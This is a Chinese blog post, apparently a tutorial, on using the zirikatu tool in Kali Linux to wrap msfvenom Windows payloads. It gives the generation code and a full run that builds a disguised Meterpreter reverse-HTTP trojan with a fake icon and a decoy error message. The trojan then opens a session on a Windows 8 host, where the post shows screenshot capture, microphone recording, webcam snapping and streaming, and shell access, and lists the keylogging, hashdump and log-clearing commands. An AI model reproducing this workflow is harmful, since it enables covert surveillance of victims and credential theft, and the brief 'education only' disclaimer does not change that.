『Kali Linux』- zirikatu

本篇文章只用于教育普及,请勿用于违法活动,否则后果自负
Hack and Have Fun!


zirikatu是一款针对Windows操作系统的高效hack工具,可实现对目标系统的设备监听及控制等功能。

原理

zirikatu对msfvenom中Windows payload进行封装,通过参数配置生成执行参数,msfvenom执行后,生成木马程序。目标主机运行木马后,实现攻击效果。

zirikatu核心原理代码如下:

if [ "$option" == "7" ]; then
msfvenom -p $payload LHOST=$ip LPORT=$port --platform windows -a x86 -e generic/none 2>/dev/null | msfvenom --platform windows -a x86 -e x86/shikata_ga_nai -i $int -f raw 2>/dev/null | msfvenom --platform windows -a x86 -e x86/fnstenv_mov -i $int -f hex >> behinbehineko 2>/dev/null;
encoded='Y'
fi
if [ "$option" == "4" ]; then
msfvenom -p $payload LHOST=$host LPORT=$port -f hex --smallest >> behinbehineko 2>/dev/null;
int='N'
encoded='N'
else
msfvenom -p $payload LHOST=$ip LPORT=$port -f hex --smallest >> behinbehineko 2>/dev/null;
int='N'
encoded='N'
fi
##268 - 280 行

配置

Download zirikatu

root@kali:/media/sf_share_kali# git clone https://github.com/pasahitz/zirikatu
正克隆到 'zirikatu'...
remote: Enumerating objects: 18, done.
remote: Total 18 (delta 0), reused 0 (delta 0), pack-reused 18
展开对象中: 100% (18/18), 完成.
root@kali:/media/sf_share_kali# cd zirikatu/
root@kali:/media/sf_share_kali/zirikatu# ls
zirikatu.ico  zirikatu.sh

执行zirikatu

root@kali:/media/sf_share_kali/zirikatu-master# ./zirikatu.sh 
     _____ _        _  _            _           
    / _  /(_) _ __ (_)| | __  __ _ | |_  _   _  
    \// / | || '__|| || |/ / / _' || __|| | | | 
     / //\| || |   | ||   < | (_| || |_ | |_| | 
    /____/|_||_|   |_||_|\_\ \__,_| \__| \__,_| 
                                            
                     ___      ____              
           /\   /\  / _ \    |___ \             
           \ \ / / | | | |     __) |            
            \ V /  | |_| | _  / __/             
             \_/    \___/ (_)|_____| 

/==========================########========================\
|                             #                            |
|                   #Fully Undetectable#                   |
|              #Metasploit Payload Generator#              |
|          #Tested on Debian Jessie and Kali Linux#        |
|———————————#—————————————————#——————————————————#—————————|
|                                            PasahitZ 2017 |
\==========================================================/

Check script dependencies =  【Fail】

mono          【!!】 Not Found, first must be installed mono 
mcs           【!!】 Not Found, first must be installed mono

This script require all dependencies to work, install not found programs
More information:
https://www.metasploit.com/
http://www.mono-project.com/
https://www.postgresql.org/

Exiting....

zirikatu需要依赖mono & mcs

配置zirikatu依赖包

root@kali:/media/sf_share_kali/zirikatu-master# apt-get install mono-devel 

再次执行zirikatu

root@kali:/media/sf_share_kali/zirikatu-master# ./zirikatu.sh 
     _____ _        _  _            _           
    / _  /(_) _ __ (_)| | __  __ _ | |_  _   _  
    \// / | || '__|| || |/ / / _' || __|| | | | 
     / //\| || |   | ||   < | (_| || |_ | |_| | 
    /____/|_||_|   |_||_|\_\ \__,_| \__| \__,_| 
                                            
                     ___      ____              
           /\   /\  / _ \    |___ \             
           \ \ / / | | | |     __) |            
            \ V /  | |_| | _  / __/             
             \_/    \___/ (_)|_____| 

/==========================########========================\
|                             #                            |
|                   #Fully Undetectable#                   |
|              #Metasploit Payload Generator#              |
|          #Tested on Debian Jessie and Kali Linux#        |
|———————————#—————————————————#——————————————————#—————————|
|                                            PasahitZ 2017 |
\==========================================================/

Check script dependencies = 【Pass】

msfconsole    【Ok】
msfvenom      【Ok】
mono          【Ok】
mcs           【Ok】
postgresql    【Ok】
fallocate     【Ok】

[1] Meterpreter_Reverse_tcp         [5] Shell_reverse_tcp
[2] Meterpreter_Reverse_http        [6] Powershell_reverse_tcp
[3] Meterpreter_Reverse_https       [7] Multi encode payload
[4] Meterpreter_Reverse_tcp_dns

Select a payload number: 2               
Set LHOST: 192.168.1.103                 
Set LPORT: 8080                         
Do you want to change the payload icon? y or n : y      
Display an error message? y or n : y
Write title error message : Error
Write the error message : Big Brother is watching you!
Enter the output file name: surprise

Please wait a few seconds..........
█║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║█
fallocate: fallocate failed: 不支持的操作

Succesfully Payload generated !!

Payload file= /media/sf_share_kali/zirikatu-master/output/surprise.exe
Payload size= 137728 Bytes

*****************************************************************************
 LHOST=192.168.1.103                   NUMBER OF ITERATIONS=N 
 LPORT=8080                            CHANGE ICON=Y
 ENCODED PAYLOAD=N                     ERROR MESSAGE=Y
 PAYLOAD=WINDOWS/METERPRETER/REVERSE_HTTP
*****************************************************************************
Do you start the payload handler? y or n: y
[ ok ] Starting postgresql (via systemctl): postgresql.service.
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v4.17.24-dev                         ]
+ -- --=[ 1825 exploits - 1033 auxiliary - 318 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing /media/sf_share_kali/zirikatu-master/handler/handler.rc for ERB directives.
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> use exploit/multi/handler
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> set LHOST 192.168.1.103
LHOST => 192.168.1.103
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> set LPORT 8080
LPORT => 8080
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> set EXITONSESSION false
EXITONSESSION => false
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> exploit -j
[*] Exploit running as background job 0.

[*] Started HTTP reverse handler on http://192.168.1.103:8080
msf exploit(multi/handler) > 

生成的surprise.exe文件

root@kali:/media/sf_share_kali/zirikatu-master/output# ls
surprise.exe

将surprise.exe文件拷入目标主机
运行surprise.exe

runing surprise.exe.png

运行surprise.exe后,kali shell中显示构建session成功

[*] Started HTTP reverse handler on http://192.168.1.103:8080
msf exploit(multi/handler) > [*] http://192.168.1.103:8080 handling request from 192.168.1.104; (UUID: hdkecpka) Staging x86 payload (180825 bytes) ...
[*] Meterpreter session 1 opened (192.168.1.103:8080 -> 192.168.1.104:49230) at 2018-11-26 22:31:11 +0800

使用

查看session信息

sessions -i

Active sessions
===============

  Id  Name  Type                     Information        Connection
  --  ----  ----                     -----------        ----------
  1         meterpreter x86/windows  win8\win_8 @ WIN8  192.168.1.103:8080 -> 192.168.1.104:49230 (192.168.1.104)

选择目标 session

msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

查看目标主机信息

meterpreter > sysinfo
Computer        : WIN8
OS              : Windows 8 (Build 9200).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

截图

meterpreter > screenshot 
Screenshot saved to: /media/sf_share_kali/zirikatu/source/BAALKIfi.jpeg
screenshot.jpeg

录音

meterpreter > record_mic -d 3
[*] Starting...
[*] Stopped
Audio saved to: /media/sf_share_kali/zirikatu/source/gkTEbROp.wav

摄像头截图

meterpreter > webcam_snap 
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /media/sf_share_kali/zirikatu/source/GJAeeNRH.jpeg

摄像头实时数据

meterpreter > webcam_stream 
[*] Starting...
[*] Preparing player...
[*] Opening player at: /media/sf_share_kali/zirikatu/source/cnzgbrva.html
[*] Streaming...

获取目标主机shell

meterpreter > shell 
Process 1940 created.
Channel 1 created.
Microsoft Windows [�汾 6.2.9200]
(c) 2012 Microsoft Corporation����������Ȩ����

C:\Users\win_8\Desktop>

其他指令

meterpreter > help 

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    detach                    Detach the meterpreter session (for http/https)
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play an audio file on target system, nothing written on disk


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

参考资料

Hacking Any Webcam, snapshot, screenshot.. on Kali Linux ✔
https://www.youtube.com/watch?v=YS5vMX8jGpI
mono
https://www.mono-project.com/download/stable/#download-lin-debian

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,284评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,115评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,614评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,671评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,699评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,562评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,309评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,223评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,668评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,859评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,981评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,705评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,310评论 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,904评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,023评论 1 270
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,146评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,933评论 2 355

推荐阅读更多精彩内容